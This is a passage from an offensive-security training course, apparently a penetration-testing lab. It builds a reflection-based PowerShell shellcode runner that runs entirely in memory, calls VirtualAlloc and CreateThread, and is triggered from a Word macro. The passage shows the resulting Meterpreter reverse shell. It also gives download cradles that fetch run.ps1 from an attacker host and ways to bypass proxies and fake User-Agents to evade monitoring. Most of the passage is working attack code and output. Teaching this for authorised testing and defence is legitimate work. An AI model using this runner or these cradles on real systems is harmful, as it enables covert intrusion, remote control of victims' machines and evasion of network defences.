GetMethod on the $unsafeObj variable that contains the reference
to Win32.UnsafeNativeMethods in System.dll. Unfortunately,
it ends up as an exception with an error message of: "Ambiguous match
found" as shown in Listing 74.

PS C:\Windows\SysWOW64\WindowsPowerShell\v1.0> $GetProcAddress = $unsafeObj.GetMethod('GetProcAddress')
Exception calling "GetMethod" with "1" argument(s): "Ambiguous match found."
At line:1 char:1
+ $GetProcAddress = $unsafeObj.GetMethod('GetProcAddress')
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : AmbiguousMatchException

Listing 74 - Error when trying to locate
GetProcAddress

The error message tells us exactly what the problem is. There are multiple instances
of GetProcAddress within Microsoft.Win32.UnsafeNativeMethods.
So, instead of GetMethod, we can use GetMethods[151] to
obtain all methods in Microsoft.Win32.UnsafeNativeMethods and then
filter to only print those called GetProcAddress. This command and
subsequent output is shown in Listing 75.

The filtering is done by a ForEach-Object loop with a comparison
condition on the Name property of the method. If the output matches
GetProcAddress, it is printed. This will reveal each occurrence of
GetProcAddress inside Microsoft.Win32.UnsafeNativeMethods.

PS C:\Windows\SysWOW64\WindowsPowerShell\v1.0> $unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}


Name                       : GetProcAddress
DeclaringType              : Microsoft.Win32.UnsafeNativeMethods
ReflectedType              : Microsoft.Win32.UnsafeNativeMethods
MemberType                 : Method
MetadataToken              : 100663839
Module                     : System.dll
IsSecurityCritical         : True
IsSecuritySafeCritical     : True
IsSecurityTransparent      : False
MethodHandle               : System.RuntimeMethodHandle
Attributes                 : PrivateScope, Public, Static, HideBySig, PinvokeImpl
CallingConvention          : Standard
ReturnType                 : System.IntPtr
...

Name                       : GetProcAddress
DeclaringType              : Microsoft.Win32.UnsafeNativeMethods
ReflectedType              : Microsoft.Win32.UnsafeNativeMethods
MemberType                 : Method
MetadataToken              : 100663864
Module                     : System.dll
IsSecurityCritical         : True
IsSecuritySafeCritical     : True
IsSecurityTransparent      : False
MethodHandle               : System.RuntimeMethodHandle
Attributes                 : PrivateScope, Public, Static, HideBySig, PinvokeImpl
CallingConvention          : Standard
ReturnType                 : System.IntPtr
...

Listing 75 - Using Methods to locate all
instances of GetProcAddress

With two results, we can simply create an array to hold both instances
and then use the first to resolve the function's address, which in our
case is MessageBoxA. We'll accomplish this with the code in Listing
76.

$user32 = $GetModuleHandle.Invoke($null, @("user32.dll"))
$tmp=@()
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
$GetProcAddress.Invoke($null, @($user32, "MessageBoxA"))

Listing 76 - Resolving the address of
MessageBoxA

In this code, $user32 contains the previously-found base address
of user32.dll. We create an empty array to store both
GetProcAddress instances, after which we repeat the ForEach-Object
loop to search Microsoft.Win32.UnsafeNativeMethods and locate them.
Once found, they are appended to the array.

We'll assign the first element of the array to the $GetProcAddress
variable and we can now use that to find the location of MessageBoxA
through the Invoke method. Since the C version of GetProcAddress
takes both the base address of the DLL and the name of the function,
we supply both of these as arguments in the array.

In versions of Windows 10 prior to 1803, only one instance of
GetProcAddress was present in Microsoft.Win32.UnsafeNativeMethods.
In future versions of Windows 10 this could change again. The same
goes for GetModuleHandle.

Let's execute this to find out if it works.

PS C:\Windows\SysWOW64\WindowsPowerShell\v1.0> $systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { 
  $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') })
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')
$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')

$user32 = $GetModuleHandle.Invoke($null, @("user32.dll"))
$tmp=@()
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
$GetProcAddress.Invoke($null, @($user32, "MessageBoxA"))

1974017664

Listing 77 - Address of
MessageBoxA is found

When we execute the function, it reveals a decimal value, which,
when translated to hexadecimal (0x75A91E80) appears to be inside
user32.dll. It appears our efforts have paid off. We have
resolved the address of an arbitrary Win32 API.

Now, to make our code more portable and compact it is worth rewriting
the PowerShell script into a method. This will allow us to reference
it multiple times. The converted function is shown in Listing
78.

function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
	return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

Listing 78 - Lookup function to resolve any
Win32 API

With the techniques developed in this section, we have managed to
implement a function that can resolve any Win32 API without using the
Add-Type keyword. This completely avoids writing to the hard disk.

In the next section, we must match the address of the Win32 API that
we have located with its arguments and return values.

Exercises

  1. Go through the PowerShell code in this section and dump the
    wanted methods to disclose the location of GetModuleHandle and
    GetProcAddress and perform a lookup of a different Win32 API.
  2. What happens if we use the second entry in the $tmp array?

DelegateType Reflection

Now that we can resolve addresses of the Win32 APIs, we must define
the argument types.

The information about the number of arguments and their
associated data types must be paired with the resolved
function memory address. In C# this is done using the
GetDelegateForFunctionPointer[152] method. This method takes
two arguments, first the memory address of the function, and second
the function prototype represented as a type.

In C#, a function prototype is known as a Delegate[153] or
delegate type. A declaration creating the delegate type in C# for
MessageBox is given in Listing 79.

int delegate MessageBoxSig(IntPtr hWnd, String text, String caption, int options);

Listing 79 - Declaring function
prototype in C#

Unfortunately, there is no equivalent to the delegate keyword in
PowerShell so we must obtain this in a different manner. Luckily,
Microsoft described how a delegate type may be created using
reflection in an old blog post from 2004.[154]

As we know from our usage of Add-Type, the delegate type is created
when the assembly is compiled, but instead we will manually create an
assembly in memory and populate it with content.[155]

The first step is to create a new assembly object through
the AssemblyName[156] class and assign it a name like
ReflectedDelegate. We do this by creating a new variable called
$MyAssembly and setting it to the instantiated assembly object with
the name "ReflectedDelegate":

$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')

Listing 80 - Creating a custom assembly
object in memory

Before we populate the assembly, we must configure its access
mode. This is an important permission, because we want it to be
executable and not saved to disk. This can be achieved through
the DefineDynamicAssembly[157] method, first by supplying
the custom assembly name. Then we set it as executable by
supplying the Run[158] access mode value defined in the
System.Reflection.Emit.AssemblyBuilderAccess namespace as the second
argument.

$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, 
  [System.Reflection.Emit.AssemblyBuilderAccess]::Run)

Listing 81 - Setting the access mode of
the assembly to Run

With permissions set on the assembly, we can start creating content.
Inside an assembly, the main building block is a Module. We can
create this Module through the DefineDynamicModule[159]
method. We supply a custom name for the module and tell it not to
include symbol information.

$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)

Listing 82 - Creating a custom module
inside the assembly

Now we can create a custom type that will become our delegate
type. We can do this within the module, using the DefineType
method.[160]

To do this, we need to set three arguments. The first is the custom
name, in our case MyDelegateType. The second is the combined list
of attributes for the type.[161] In our case, we must specify
the type to be a class (so we can later instantiate it), public,
non-extendable, and use ASCII instead of Unicode. Finally, it is set
to be interpreted automatically since our testing found that this
undocumented setting was required. The attributes then become Class,
Public, Sealed, AnsiClass, and AutoClass.

As a third argument, we must specify the type it builds on top of. We
choose the MulticastDelegate class[162] to create a delegate
type with multiple entries which will allow us to call the target API
with multiple arguments.

Here is the code for defining the custom type:

$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 
  'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

Listing 83 - Creating a custom type in
the assembly

Finally, we are ready to put the function prototype inside the type
and let it become our custom delegate type. This process is shown in
Listing 84:

$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor(
  'RTSpecialName, HideBySig, Public', 
    [System.Reflection.CallingConventions]::Standard, 
      @([IntPtr], [String], [String], [int]))

Listing 84 - Creating a constructor for
the custom delegate type

First, we define the constructor through the
DefineConstructor[163] method, which takes three arguments.

The first argument contains the attributes of the constructor itself,
defined through MethodAttributes Enum.[164] Here we must make
it public and require it to be referenced by both name and signature.
To do this, we choose RTSpecialName, HideBySig, and Public.

The second argument is the calling convention for the
constructor, which defines how arguments and return values
are handled by the .NET framework. In our case, we choose
the default calling convention by specifying the enum value
[System.Reflection.CallingConventions]::Standard.[165]

In the last argument, we come to the crux of our work. We finally get
to define the parameter types of the constructor that will become the
function prototype.

The complete call to DefineConstructor combines the constructor
attributes, the calling convention for the constructor, and the
function arguments for MessageBoxA that we have seen earlier in the
module given as an array.

With the constructor created, we must call it. But before we can
do that, we must set a couple of implementation flags with the
SetImplementationFlags[166] method using values outlined
in MethodImplAttributes Enum.[167] We choose Runtime and
Managed since it is used at runtime and the code is managed code.

$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')

Listing 85 - Setting implementation
flags for the constructor

The constructor is now ready to be called. But to actually tell
the .NET framework the delegate type to be used in calling a
function, we have to define the Invoke method as shown in Listing
86.

We'll use DefineMethod[168] to create and specify the
settings for the Invoke method.

DefineMethod takes four arguments. The first is the name of
the method to define, which in our case is "Invoke". The second
argument includes method attributes taken from the MethodAttributes
Enum
.[169] In our case, we choose Public to make it
accessible, HideBySig to allow it to be called by both name and
signature, NewSlot, and Virtual to indicate that the method is
virtual and ensure that it always gets a new slot in the vtable.

As the third argument, we specify the return type of the function,
which for MessageBoxA is [int]. The fourth argument is an array
of argument types that we already identified when we first introduced
MessageBox.

The setup of the Invoke method puts together the four arguments
described above and supplies them to DefineMethod as given in
Listing 86.

$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', 
  'Public, HideBySig, NewSlot, Virtual', 
    [int], 
      @([IntPtr], [String], [String], [int]))

Listing 86 - Defining and configuring the
Invoke method

Just as with the constructor, we must set the implementation flags
to allow the Invoke method to be called. This is done after it is
defined through the SetImplementationFlags method.

To instantiate the delegate type, we call our custom constructor
through the CreateType[170] method.

$MyDelegateType = $MyTypeBuilder.CreateType()

Listing 87 - Calling the constructor on
the delegate type

After all this effort, we finally have a delegate type to use in our
call to GetDelegateForFunctionPointer. Combining all the pieces
along with the resolved memory address of MessageBoxA, we can call a
Win32 native API without using Add-Type.

Now that we have explained every part of the code, let's review the
final code (shown in Listing 88).

In review, we repeat the LookupFunc method that resolves
the Win32 API address and use that to locate the address of
MessageBoxA. Then we create the DelegateType. Finally, we call
GetDelegateForFunctionPointer to link the function address and the
DelegateType and invoke MessageBox.

function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
	return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

$MessageBoxA = LookupFunc user32.dll MessageBoxA
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, 
  [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 
  'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor(
  'RTSpecialName, HideBySig, Public', 
    [System.Reflection.CallingConventions]::Standard, 
      @([IntPtr], [String], [String], [int]))
$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', 
  'Public, HideBySig, NewSlot, Virtual', 
    [int], 
      @([IntPtr], [String], [String], [int]))
$MyMethodBuilder.SetImplementationFlags('Runtime, Managed')
$MyDelegateType = $MyTypeBuilder.CreateType()

$MyFunction = [System.Runtime.InteropServices.Marshal]::
    GetDelegateForFunctionPointer($MessageBoxA, $MyDelegateType)
$MyFunction.Invoke([IntPtr]::Zero,"Hello World","This is My MessageBox",0)

Listing 88 - Using reflection to
call a Win32 API without Add-Type

Execution of this code yields a simple "Hello World" prompt showing
our success. The final piece remaining now is to use our newly
developed technique to create a shellcode runner and eventually
execute it through our Word macro.

Exercises

  1. Use the PowerShell code to call MessageBoxA using reflection
    instead of Add-Type.
  2. Use Process Monitor to verify that no C# source code is written to
    disk or compiled.
  3. The Win32 WinExec API can be used to launch applications. Modify
    the existing code to resolve and call WinExec and open Notepad. Use
    resources such as MSDN and P/Invoke to understand the arguments for
    the function and the associated data types.

Reflection Shellcode Runner in PowerShell

With the power of the reflection technique in PowerShell, we now
have the ability to invoke Win32 APIs from code that executes
entirely in memory. We must now translate our simple "Hello World"
proof-of-concept into a full-fledged shellcode runner.

Since we are going to call three different Win32 APIs (VirtualAlloc,
CreateThread, and WaitForSingleObject), we'll rewrite the portion
of code that creates the delegate type into a function so we can
easily call it multiple times.

We'll also slim down the code, eliminating unneeded variables to
produce the smallest and most efficient code possible.

The resulting function is called getDelegateType and accepts two
arguments: the function arguments of the Win32 API given as an array
and its return type. Our previous code is built into three blocks.
The first block creates the custom assembly and defines the module and
type inside of it. The second block of code sets up the constructor,
and the third sets up the invoke method. Finally, the constructor is
invoked and the delegate type is returned to the caller. The complete
code is shown in Listing 89.

function getDelegateType {

	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
		[Parameter(Position = 1)] [Type] $delType = [Void]
	)

	$type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

	return $type.CreateType()
}

Listing 89 - Method wrapper to create
a delegate type

Together with LookupFunc, we'll resolve and call VirtualAlloc
using the same arguments as in the previous cases. We'll
use LookupFunc to search Kernel32.dll for the
Win32 VirtualAlloc API. This code is shown in Listing
90.

$VirtualAllocAddr = LookupFunc kernel32.dll VirtualAlloc
$VirtualAllocDelegateType = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegateType)
$VirtualAlloc.Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

Listing 90 - Resolving and calling
VirtualAlloc through reflection

The code shown in Listing 90 uses our
LookupFunc and getDelegateType functions to allocate a memory
buffer. While the code works, it is possible to optimize and condense
it to remove unneeded variables.

This optimized version (Listing 91)
embeds the calls to LookupFunc and getDelegateType in the call to
GetDelegateForFunctionPointer.

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

Listing 91 - Condensed version of
resolving and calling VirtualAlloc

The next step is to generate the shellcode in ps1 format, remembering
to choose 32-bit architecture due to PowerShell spawning as a 32-bit
child process of Word. With the shellcode generated, we can copy it
using the .NET Copy method:

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

Listing 92 - 32-bit shellcode and .NET
Copy method

The shellcode and copy operation are identical to the version for
the Add-Type version of our shellcode runner. Next, we can create
a thread and call WaitForSingleObject to block PowerShell from
terminating.

VirtualAlloc, CreateThread, and WaitForSingleObject are all
resolved and called in exactly the same manner with our the condensed
syntax. Omitting the LookupFunc and getDelegateType functions, the
full shellcode runner is given in Listing 93.

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

Listing 93 - PowerShell reflection based
shellcode runner

The complete code is listed below.

function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
	return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {

	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
		[Parameter(Position = 1)] [Type] $delType = [Void]
	)

	$type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

	return $type.CreateType()
}

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

Listing 94 - Complete PowerShell script
for in-memory shellcode runner

Since the shellcode runner code is entirely located on the Kali Linux
Apache server, we do not need to update the Word macro but will simply
overwrite the run.ps1 file on the web server before opening
the Word document.

Based on the output in Listing 95, the code
is working and we have a reverse shell.

[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: pm1qmw8u) Staging x86 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.11:49678)

meterpreter > 

Listing 95 - Reverse Meterpreter shell
executed from the reflective PowerShell shellcode runner

In addition, Process Monitor reveals that no .cs file was
written to the file system and subsequently compiled as given in
Figure 27.

Figure 27: Process Monitor showing that no .cs files were written to disk and compiled

Excellent. We've created a PowerShell shellcode runner that executes
entirely in-memory. In addition, it can be triggered from VBA without
embedding any first stage shellcode inside the Macro.

In the next section, we'll discuss network proxies, which can create
various issues when performing this type of attack.

Exercises

  1. Generate a Meterpreter shellcode and obtain an in-memory PowerShell
    shellcode runner resulting in a reverse shell.
  2. The code developed in this section was based on a 32-bit PowerShell
    process. Identify and modify needed elements to make this work from a
    64-bit PowerShell process.

Talking To The Proxy

Let's take a moment to talk about proxies and the part they can
play in a penetration test.

Many organizations and enterprises force their network communication
through a proxy, which can allow security analysts to monitor traffic.
In these cases, penetration testers must either ensure that their
techniques work through the proxy or if possible, bypass the proxy and
its associated monitoring, depending on the situation.

The Meterpreter HTTP and HTTPS payloads are proxy-aware,[171]
but our PowerShell download cradles may not be. It's always best to
check for ourselves.

PowerShell Proxy-Aware Communication

In this module, we have primarily used the Net.WebClient download
cradle. This class is, by default, proxy-aware. This has not always
been the case[172] and this feature may revert in future versions
of Windows, but at least for now, it is proxy-aware.

To validate this, we'll first set the proxy settings of the Windows
10 victim client to match that of the Windows 10 development client,
which is running the Squid[173] proxy software.

To set up the proxy on our machine, we'll right-click on the Windows
Start icon and navigate to Settings > Network & Internet >
Proxy, and scroll down to "Manual proxy setup".

We'll enable the proxy server and enter the IP address of the Windows
10 development client (192.168.120.12 in our case) and the static TCP
port 3128. Finally, we'll click Save and close the settings menu.

We can observe the proxy in action by opening PowerShell ISE and
executing the two-line PowerShell download cradle shown in Listing
96.

First we need to make sure we have our web server running and that we
have our run.ps1 PowerShell file waiting.

$wc = new-object system.net.WebClient
$wc.DownloadString("http://192.168.119.120/run.ps1")

Listing 96 - Net.WebClient download cradle going
through the proxy

Running the PowerShell code does not generate any errors. If we
switch to Kali and dump the latest entry from the Apache access logs,
we'll find a request for run.ps1 coming from our Windows
10 development client on IP address 192.168.120.12 running the proxy
server.

kali@kali:~$ sudo tail /var/log/apache2/access.log
...
192.168.120.12 - - [09/Jun/2020:08:06:08 -0400] "GET /run.ps1 HTTP/1.1" 200 4360 "-" "-"

Listing 97 - HTTP request coming from the
proxy server IP address

Since our Windows 10 victim client is at 192.168.120.11, it seems the
proxy is, in fact, working.

The proxy settings used by Net.WebClient are stored in the .proxy
property and are populated from the DefaultWebProxy[174]
property when creating the object. We can view these settings using
the GetProxy[175] method by specifying the URL to test
against.

PS C:\Windows\SysWOW64\WindowsPowerShell\v1.0> [System.Net.WebRequest]::DefaultWebProxy.GetProxy("http://192.168.119.120/run.ps1")

AbsolutePath   : /
AbsoluteUri    : http://192.168.120.12:3128/
LocalPath      : /
Authority      : 192.168.120.12:3128
HostNameType   : IPv4
IsDefaultPort  : False
IsFile         : False
IsLoopback     : False
PathAndQuery   : /
Segments       : {/}
IsUnc          : False
Host           : 192.168.120.12
Port           : 3128
Query          : 
Fragment       : 
Scheme         : http
OriginalString : http://192.168.120.12:3128
DnsSafeHost    : 192.168.120.12
IdnHost        : 192.168.120.12
IsAbsoluteUri  : True
UserEscaped    : False
UserInfo       : 

Listing 98 - Proxy settings used by Net.WebClient

We can use this to quickly verify both the proxy server IP address
and network port. Since the proxy settings are configured dynamically
through the proxy property, we can remove them by simply creating an
empty object as shown in Listing 99.

$wc = new-object system.net.WebClient
$wc.proxy = $null
$wc.DownloadString("http://192.168.119.120/run.ps1")

Listing 99 - Removing the proxy settings by
"nulling" them

Once again we can use the tail command to dump the latest
entry of the Apache access logs and this time observe the HTTP request
coming directly from the Windows 10 victim client.

kali@kali:~$ sudo tail /var/log/apache2/access.log
...
192.168.120.11 - - [09/Jun/2020:08:19:36 -0400] "GET /run.ps1 HTTP/1.1" 200 4360 "-" "-"

Listing 100 - HTTP request bypassing the
proxy server

In some environments, network communications not going through the
proxy will get blocked at an edge firewall. Otherwise, we could bypass
any monitoring that processes network traffic at the proxy.

We can quite easily manipulate the proxy settings of our download
cradle and as we'll discuss in the next section, there is an additional
property we may also tamper with.

Exercises

  1. Setup the proxy configuration and verify whether or not the
    Net.WebClient download cradle is proxy-aware.
  2. Are other PowerShell download cradles proxy aware?

Fiddling With The User-Agent

We should also determine if the Net.WebClient download cradle can
modify the User-Agent[176] property.

When making HTTP or HTTPS requests from a web browser, one of the most
easily identifiable characteristics of that session is the User-Agent.
It quickly tells us which type of web browser or other application is
performing the request along with the operating system version. The
Net.WebClient PowerShell download cradle does not have a default
User-Agent set, which means the session will stand out from other
legitimate traffic.

Luckily for us, we can customize this using the
Headers[177] property of the Net.WebClient
object using the Add method. The download cradle code in Listing
101 shows a configured custom User-Agent.

$wc = new-object system.net.WebClient
$wc.Headers.Add('User-Agent', "This is my agent, there is no one like it...")
$wc.DownloadString("http://192.168.119.120/run.ps1")

Listing 101 - Setting a custom User-Agent

Running the code will download the file and leave behind the User-Agent
text in the Apache access logs as we can verify by inspecting the
latest entry.

kali@kali:~$ sudo tail /var/log/apache2/access.log
...
192.168.120.12 - - [09/Jun/2020:08:32:57 -0400] "GET /run.ps1 HTTP/1.1" 304 182 "-" "This is my agent, there is no one like it..."

Listing 102 - HTTP request with custom
User-Agent

Obviously, a User-Agent like the one used above sticks out even
more than an empty User-Agent string. Instead, we should emulate a
User-Agent from a real web browser like Google Chrome or Internet
Explorer.

Exercises

  1. Set a custom User-Agent in the download cradle and observe it in
    the Apache access logs.
  2. Instead of a custom User-Agent string, identify one used by Google
    Chrome and implement that in the download cradle.

Give Me A SYSTEM Proxy

So far, the Net.WebClient download cradle has been very versatile,
but we must consider the side-effects of using a SYSTEM integrity
download cradle.

When performing privilege escalation or exploiting an application
running at SYSTEM integrity level, we may obtain a SYSTEM integrity
shell. A PowerShell download cradle running in SYSTEM integrity level
context does not have a proxy configuration set and may fail to call
back to our C2 infrastructure.

We can verify this from a SysInternals PsExec[178] SYSTEM
integrity 32-bit PowerShell ISE command prompt.

To demonstrate this, we'll first open an elevated command prompt by
right-clicking on the cmd.exe taskbar icon and selecting Run
as administrator
. In the new command prompt, we'll navigate to the
Sysinternals folder and execute PsExec.exe while
specifying -s to run it as SYSTEM and -i to make it
interactive with the current desktop.

C:\Tools\Sysinternals> PsExec.exe -s -i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe

Listing 103 - Opening a 32-bit PowerShell ISE
prompt as SYSTEM

While keeping the proxy settings enabled, we'll run the basic
Net.WebClient PowerShell download cradle repeated in Listing
104 from the SYSTEM integrity PowerShell ISE
prompt.

$wc = new-object system.net.WebClient
$wc.DownloadString("http://192.168.119.120/run.ps1")

Listing 104 - Basic Net.WebClient download cradle

When the download cradle has completed, we'll inspect the latest
Apache access log. It reveals that the HTTP request came directly from
the Windows 10 victim machine.

kali@kali:~$ sudo tail /var/log/apache2/access.log
...
192.168.120.11 - - [09/Jun/2020:08:22:36 -0400] "GET /run.ps1 HTTP/1.1" 200 4360 "-" "-"

Listing 105 - HTTP request bypassing the
proxy server

In order to run our session through a proxy, we must create a proxy
configuration for the built-in SYSTEM account. One way to do this is
to copy a configuration from a standard user account on the system.
Proxy settings for each user are stored in the registry[179] at
the following path:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings

Listing 106 - Registry proxy path

We can verify this by opening the registry editor and browsing to this
path as shown in Figure 28.

Figure 28: Process Monitor filter creation

From here, we can collect the contents of the ProxyServer registry
key and use it to populate the proxy properties of the Net.WebClient
object. However, there is a problem in this.

When navigating the registry, the HKEY_CURRENT_USER registry hive is
mapped according to the user trying to access it, but when navigating
the registry as SYSTEM, no such registry hive exists.

However, the HKEY_USERS registry hive always exists and contains
the content of all user HKEYCURRENT_USER registry hives split by
their respective _SIDs
.[180]

As part of our download cradle, we can use PowerShell to resolve a
registry key. But the HKEYUSERS registry hive is not automatically
mapped. Nevertheless, we can map it with the _New-PSDrive
[181] commandlet
by specifying a name, the PSProvider as "Registry", and Root as
"HKEY_USERS".

New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null

Listing 107 - Mapping HKEY_USERS registry hive
with PowerShell

While we can now interact with and query the HKEY_USERS hive, we must
decide which user's hive we want to copy. The HKEY_USERS hive contains
the hives of all users on the computer, including SYSTEM and other
local service accounts, which we want to avoid.

The registry hives are divided and named after the SIDs of
existing users and there is a specific pattern. Any SID starting
with "S-1-5-21-" is a user account exclusive of built-in
accounts.[182]

To obtain a valid user hive, we can loop through all top level entries
of the HKEY_USERS until we find one with a matching SID. Once we find
one, we can filter out the lower 10 characters leaving only the SID,
while omitting the HKEY_USERS string.

We can find all the top-level HKEYUSERS with the
_Get-ChildItem
[183] cmdlet and use a ForEach loop to find
the first that contains a SID starting with "S-1-5-21-".

Once we find the first record, we'll save it in the $start variable
and exit the loop through the break[184] statement as displayed
in Listing 108.

$keys = Get-ChildItem 'HKU:\'
ForEach ($key in $keys) {if ($key.Name -like "*S-1-5-21-*") {$start = $key.Name.substring(10);break}}

